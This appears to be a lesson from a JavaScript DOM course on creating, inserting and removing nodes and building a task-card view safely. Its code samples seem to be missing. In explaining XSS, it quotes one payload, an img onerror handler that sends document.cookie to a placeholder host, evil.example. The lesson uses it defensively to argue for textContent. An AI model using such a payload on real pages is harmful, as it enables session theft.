So far the Nómada Tasks page has been a mold: a few <li>s written by hand in the HTML that we filled with data from the model. That does not scale. The backlog has six tasks, in 06-07 more will be addable, and nobody is going to edit index.html every time Marta adds one. A real application builds its interface from the data. In this lesson you will learn to create nodes from scratch, to insert them exactly where you want, to remove them and to empty containers without leaving memory leaks, to insert a hundred elements without punishing the browser using DocumentFragment, and to do all of it safely against HTML injection. The result will be view/card.js: the function that turns a model Task into its complete <li>, with its buttons and its data-id.

1. Creating nodes: createElement and createTextNode
2. Cloning: cloneNode(true)
3. Inserting with the modern methods
4. insertAdjacentHTML and insertAdjacentElement
5. The old methods, and why they keep showing up
6. Removing and emptying containers
7. DocumentFragment: many nodes, a single insertion
8. Building with nodes versus injecting HTML
9. A helper function: buildElement(tag, props, children)
10. <template> and content
11. Nómada Tasks: view/card.js
12. Common Mistakes and Tips
13. Exercises
14. Conclusion

document.createElement(tag) manufactures a new element. Important: it is born outside the tree, in limbo. It is nowhere to be seen until you insert it.

While it is outside the tree you can configure it with everything you learned in 06-02, and it is the most efficient way of working: build first, insert at the end, because changes on a disconnected element do not force the browser to recalculate anything.

document.createTextNode(text) creates a text node (type 3 from 06-01). You will hardly ever need it explicitly, because textContent and append do it for you, but it is worth knowing it exists and that it is immune to HTML parsing:

In fact, append accepts strings directly and turns them into text nodes, with the same safety:

There are two sibling methods you will see now and then: document.createComment(text) for comments and document.createDocumentFragment() for the lightweight container in section 7.

node.cloneNode(deep) makes a copy. The argument decides whether it copies only the node or its whole content as well:

Three important warnings about cloning:

• It copies the attributes, id included. If the original had id="summary", so does the clone, and you will have two elements with the same id in the document: querySelector('#summary') will return only the first and you will never know which one. Change or delete the clone's id.
• It does NOT copy the handlers registered with addEventListener. This is an advantage in disguise: the clone is born clean, and with delegation (06-04) you do not even notice, because the handler is on the container.
• It does copy the inline on… attributes, one more reason never to use them.

The modern insertion family is convenient, uniform and takes several arguments and text strings. All of them accept any number of nodes and/or strings.

A node can only be in one place. If you insert an element that is already in the tree, it is not duplicated: it is moved. It is very useful behavior for reordering lists, and a source of bewilderment if you are not expecting it:

To get two copies you have to clone explicitly: list.append(li.cloneNode(true)).

These two methods let you insert at one of four positions relative to the element, expressed with a string:

insertAdjacentHTML has a real advantage over innerHTML +=: it does not destroy and recreate the existing nodes, it only adds. But it shares its big flaw: it parses HTML, so it carries the same XSS risk from 06-02.

The rule is the same as always: HTML as a string only when it is constant. As soon as there is data interpolation, either you escape it (06-06) or you build with nodes.

Before the modern family there were three methods you will see in any code that is a few years old. It is worth knowing them so you can read them, even if you do not write them.

The modern ones win on everything except one detail: appendChild returns the node, which allows chaining (const p = div.appendChild(document.createElement('p'))), whereas append returns undefined. It is a minor inconvenience and it is solved with a variable.

Removing an element is trivial:

Emptying a container has three forms, and they are not equivalent:

replaceChildren is especially elegant because it also accepts the new content, so emptying and refilling is a single operation:

The nuance of handlers and memory leaks. When you remove an element from the DOM, its handlers disappear with it… as long as nobody else holds a reference to the element. If you stored it in an array, in a Map or in another function's closure, the element stays alive in memory even though it is not on the page, together with its whole subtree and its handlers. That is a memory leak.

This is exactly one of the patterns analyzed in Memory Management. And it is another argument in favor of the delegation from 06-04: if the only handler is on the <ul>, which is never removed, there is nothing to clean up when deleting cards.

One last note: if you remove the element that had focus, focus is lost and goes back to document.body. Anyone navigating by keyboard is left without a position. The solution is to move focus somewhere reasonable before removing:

Inserting six elements one at a time means touching the tree six times:

A DocumentFragment is a lightweight container outside the tree (nodeType 11 from 06-01). You can fill it without the browser having to recalculate anything, and when you insert it something special happens: the fragment dissolves and only its children go in.

It is the equivalent of carrying the shopping in a bag instead of by the handful: fewer trips.

It is worth being honest about the size of the benefit. Modern browsers batch layout work and do not repaint after every append, so with six tasks the difference is imperceptible. With thousands of rows, or when you read geometry between one insertion and the next (the layout thrashing of 06-02), it does show. Serious measurement is the topic of Efficient DOM Manipulation.

That said, there is a reason to use it that does not depend on performance: replaceChildren with the spread does the same thing more readably, and that is the form we will adopt:

One call, complete new content, with no explicit fragment and no innerHTML.

This is the judgment point of the lesson. There are two ways of producing a task's card:

The security problem is concrete, not theoretical. If Iván adds a task titled <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, option 1 runs that code in the context of your page. Option 2 shows the literal text and runs nothing.

On top of that, innerHTML += has an additional, very unintuitive defect: it does not add, it rebuilds. It reads all the inner HTML, concatenates your string onto it and parses the whole thing again. Every previous node is destroyed and recreated: focus is lost, the selected text is lost and the state of any <input> inside is lost.

Decision for the rest of the course: we build with nodes. In 06-06 you will see the intermediate alternative —templates with template literals plus a mandatory escapeHtml function— and in section 10 of this lesson, the best of them all for fixed structures: <template>.

Building with nodes is safe but verbose. A fifteen-line helper function recovers the readability without losing the safety. This will be a stable piece of the project:

Three decisions in this code are worth understanding:

• key in element tells properties from attributes. disabled, value, type, id and hidden exist as properties of the DOM object, and assigning them directly is the right thing to do (06-02). The aria-* ones and role do not exist as properties, so they fall through to setAttribute. The check resolves the choice automatically.
• text uses textContent. There is no option in the API that parses HTML: it is impossible to cause an XSS through this function, and that impossibility is precisely the goal.
• [].concat(value) accepts either a single value or an array indifferently, and the filter(Boolean) discards the nulls and falses, which lets you write conditional children without an if.

With it, the card reads almost like the HTML it produces:

There is a third way that combines the best of both: declaring the structure in the HTML, where it can be read at a glance, and filling in only the data from JavaScript, with textContent.

The <template> element contains markup that the browser parses but does not display or activate: its images are not downloaded, its scripts do not run and it does not appear on the page.

Its content lives in the content property, which is a DocumentFragment. To use it you have to clone it, because the original must stay intact for the next use:

Typical mistakes with <template>:

For a list of identical cards, <template> is usually the best option: the structure can be touched by whoever does the layout without opening the JavaScript, and the code comes down to three assignment lines.

Let's put it all together. This module turns a model Task into its complete <li>. It uses buildElement so as to have total control and not depend on the HTML containing the template; at the end you will see the <template> variant.

Notice three details:

• overdue && 'task--overdue' produces false when it does not apply, and buildElement's filter(Boolean) discards it. It is the idiomatic form of a conditional class without writing an if.
• tabindex="-1" makes the <li> focusable programmatically (li.focus()) but does not put it in the tab order. It serves to return focus to a card after redrawing it, in 06-06.
• The card registers not a single handler. It can be created, cloned, destroyed and recreated freely, because the only handler lives on the <ul>. That is the dividend of the delegation from 06-04.

And this is how it is used, with replaceChildren to paint the whole list:

The index.html gets simpler: the <ul id="task-list"> is left empty, because its content is generated by the model.

That aria-live="polite" makes a screen reader announce the list's changes without interrupting. With the six cards on screen, the summary still gives the canonical numbers: 6 tasks, 5 open, 45 h remaining, 1 overdue, effort 124.

The <template> variant, in case you prefer to have the structure in the HTML:

Both are correct. The first gives you more control and does not depend on the HTML; the second separates layout and logic better. Pick one and be consistent.

• Creating an element and forgetting to insert it. createElement does not add it to the page. If "nothing shows up", check that there is an append somewhere.
• Expecting insertion to duplicate. A node can only be in one place: inserting one that was already in the tree moves it. To duplicate, cloneNode(true).
• Cloning an element with an id and not changing it. You end up with duplicated ids and querySelector always returns the first. Delete or rename the clone's id.
• Forgetting .content or the cloning with <template>. template.querySelector('li') gives null; append(template.content) empties the template forever. The correct form is template.content.cloneNode(true).
• Using innerHTML += to add. It does not add: it rebuilds the whole interior, which loses focus, selection, field state and direct handlers. Use append or insertAdjacentHTML.
• Interpolating data into HTML strings. It is the door to XSS. With data, always textContent or nodes; with constant markup, insertAdjacentHTML is acceptable.
• Storing removed nodes in arrays or Maps. It stops the browser from freeing the memory. If you have a node cache, clear it when you empty the container.
• Removing the element that had focus without relocating it. Keyboard users are left on body. Move focus to the next sibling or to the container before removing.
• Tip: build outside the tree and connect at the end. Everything you do to a disconnected element is free for the browser. It is the same principle as DocumentFragment and replaceChildren(...).
• Tip: a well-made buildElement function pays for itself on the first screen. It gives you the readability of a template with the safety of nodes, and makes it impossible by construction for a piece of data to end up being parsed as HTML.

Write insertDividers(list) that walks the already painted <li>s and, every time the priority changes with respect to the previous one, inserts before that <li> an element <li class="divider" role="presentation"> with the text High priority, Medium priority or Low priority. It must work without duplicating dividers if it is called twice. Use before() and buildElement.

Write two functions, paintWithLoop(list, tasks) and paintAtOnce(list, tasks). The first empties and does one append per task; the second uses replaceChildren(...) with the spread. Check with console.time/console.timeEnd how long they take with the 6 tasks and with 5,000 generated by repeating the backlog. Comment on the results honestly.

Add a <template id="task-template"> to the HTML and write replaceCard(li, task) that replaces an existing <li> with a freshly created card using replaceWith(), preserving focus: if the active element was inside the <li> being replaced, focus must end up on the equivalent button of the new card. Explain how you detect which the equivalent button was.

Exercise 1

Two key points. Idempotence is achieved by cleaning up first: without that initial remove(), every call would add another batch of dividers. And the selector li[data-id] is essential in the loop: if we walked every <li>, the freshly inserted dividers would enter the iteration too. The role="presentation" tells the screen reader that this <li> is not a real item of the list, but a visual heading.

Exercise 2

Typical results on an ordinary laptop: with 6 tasks both are around 1 ms and the difference is pure measurement noise. With 5,000, the all-at-once version is usually between 10 % and 30 % ahead, but the bulk of the time goes into creating the 5,000 cards, not inserting them.

The honest conclusion is that the classic insistence on DocumentFragment is somewhat overrated for the normal case: modern browsers do not repaint after every append. replaceChildren(...) is preferred for clarity, not for speed. And the underlying lesson is the one from 09-01: measure before optimizing, because intuition about performance is wrong almost every time.

Exercise 3

The equivalent button is identified by its data-action, not by its position or by a reference to the old node (which has just stopped existing). It is the same principle as the cards' data-id: a stable key that survives the recreation of the DOM. And the <li>'s tabindex="-1" is what makes the fresh.focus() fallback possible when the equivalent button has ended up disabled —for example, after marking the task as done—: without it, focus would land on document.body and anyone navigating by keyboard would lose their position in the list.

That problem —redrawing and losing focus— is precisely what leads into the next lesson.

You no longer depend on hand-written HTML: you know how to manufacture the interface. You create nodes with createElement (which are born outside the tree, and that is why configuring them is free) and with createTextNode, and you copy them with cloneNode(true), remembering that the clone drags along the id but not the addEventListener handlers. You insert them with the modern family —append, prepend, before, after, replaceWith, replaceChildren—, which takes several arguments and text strings, knowing that inserting a node already in the tree moves it instead of duplicating it. You know insertAdjacentHTML/insertAdjacentElement with their four positions (beforebegin, afterbegin, beforeend, afterend) and the warning that the first one parses HTML. And you recognize the old methods appendChild, insertBefore, removeChild and replaceChild so you can read legacy code, even though you write the modern ones.

You know how to remove with remove() and empty with replaceChildren(), which is preferable to innerHTML = '' because it does not go through the HTML parser and because the same call lets you empty and refill at once. You are clear about the nuance that matters: handlers disappear with the element unless somebody retains a reference in an array, a Map or a closure, and that is the origin of a classic memory leak; and that removing the focused element leaves keyboard users without a position. You know DocumentFragment for batching insertions, together with an honest assessment of its real impact, and you know that replaceChildren(...nodes) achieves the same thing more clearly.

Above all, you have the construction criterion: nodes versus strings. Interpolating data into HTML is the direct door to XSS, and innerHTML += does not even add —it rebuilds the whole interior and takes focus, selection and state down with it. The answer is buildElement(tag, props, children) in view/dom.js, which tells properties from attributes with key in element, accepts conditional classes and always uses textContent; or else <template> with content.cloneNode(true) when the structure is fixed and you prefer to have it in the HTML. With those pieces you have written view/card.js: createCard(task) returns the complete <li> of a task, with its priority, its overdue badge, its tags, its two buttons with data-action and its data-id, without registering a single handler, because delegation already takes care of that. The <ul> in the HTML has been left empty and the backlog's six tasks are painted from the model.

What is missing is the step that turns all of this into a real application: redrawing when the data changes. Right now you paint once at startup and then patch each <li> by hand. The natural thing is to have a render(state) function that draws the whole board from the Board, and repeat it after every change. But that brings its own problem, which you have already brushed against in the last exercise: redrawing everything destroys the nodes, and with them go focus, scrolling and whatever the user had typed. How the cycle state → render → event → new state → render is organized, how tasks are grouped into columns, how the data is escaped if you decide to use text templates, and how only what has changed is updated by reusing nodes by their data-id, is Rendering Lists and HTML Templates.